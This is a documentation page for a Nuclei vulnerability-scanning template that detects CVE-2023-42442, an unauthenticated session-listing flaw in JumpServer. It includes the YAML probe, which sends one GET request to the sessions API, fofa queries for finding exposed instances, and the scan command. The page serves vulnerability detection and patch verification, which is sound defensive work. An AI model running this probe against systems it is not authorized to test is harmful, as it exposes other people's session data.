Skip to content
Nuclei Templates

JumpServer > 3.6.4 - Information Disclosure

ID: CVE-2023-42442

Severity: medium

Author: xianke

Tags: cve2023,cve,jumpserver,exposure,fit2cloud

Description

Section titled “Description”

JumpServer is an open source bastion host and a professional operation and maintenance security audit system. Starting in version 3.0.0 and prior to versions 3.5.5 and 3.6.4, session replays can download without authentication. Session replays stored in S3, OSS, or other cloud storage are not affected. The api /api/v1/terminal/sessions/ permission control is broken and can be accessed anonymously. SessionViewSet permission classes set to [RBACPermission | IsSessionAssignee], relation is or, so any permission matched will be allowed. Versions 3.5.5 and 3.6.4 have a fix. After upgrading, visit the api $HOST/api/v1/terminal/sessions/?limit=1. The expected http response code is 401 (not_authenticated).

YAML Source

Section titled “YAML Source”
id: CVE-2023-42442


info:
  name: JumpServer > 3.6.4 - Information Disclosure
  author: xianke
  severity: medium
  description: |
    JumpServer is an open source bastion host and a professional operation and maintenance security audit system. Starting in version 3.0.0 and prior to versions 3.5.5 and 3.6.4, session replays can download without authentication. Session replays stored in S3, OSS, or other cloud storage are not affected. The api `/api/v1/terminal/sessions/` permission control is broken and can be accessed anonymously. SessionViewSet permission classes set to `[RBACPermission | IsSessionAssignee]`, relation is or, so any permission matched will be allowed. Versions 3.5.5 and 3.6.4 have a fix. After upgrading, visit the api `$HOST/api/v1/terminal/sessions/?limit=1`. The expected http response code is 401 (`not_authenticated`).
  impact: |
    The vulnerability allows an attacker to gain sensitive information from the JumpServer application.
  reference:
    - https://github.com/jumpserver/jumpserver/blob/v3.6.1/apps/terminal/api/session/session.py#L91
    - https://nvd.nist.gov/vuln/detail/CVE-2023-42442
    - https://github.com/jumpserver/jumpserver/commit/0a58bba59cd275bab8e0ae58bf4b359fbc5eb74a
    - https://github.com/Marco-zcl/POC
    - https://github.com/nomi-sec/PoC-in-GitHub
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2023-42442
    cwe-id: CWE-287
    epss-score: 0.79196
    epss-percentile: 0.98277
    cpe: cpe:2.3:a:fit2cloud:jumpserver:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fit2cloud
    product: jumpserver
    fofa-query:
      - title="JumpServer"
      - title="jumpserver"
  tags: cve2023,cve,jumpserver,exposure,fit2cloud


http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/terminal/sessions/"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"terminal":'
          - '"user_id":"'
          - '"account_id":'
        condition: and


      - type: word
        part: header
        words:
          - application/json


      - type: status
        status:
          - 200
# digest: 4a0a0047304502200a18b778e26b10839a24071eb7f578fdd48833e395bfa07033195e8ea0bf492c022100f796f03590b4d16b24be650c34bfa56d9db3dce9eb8d9471013cf9ea960d240a:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-42442.yaml"

View on Github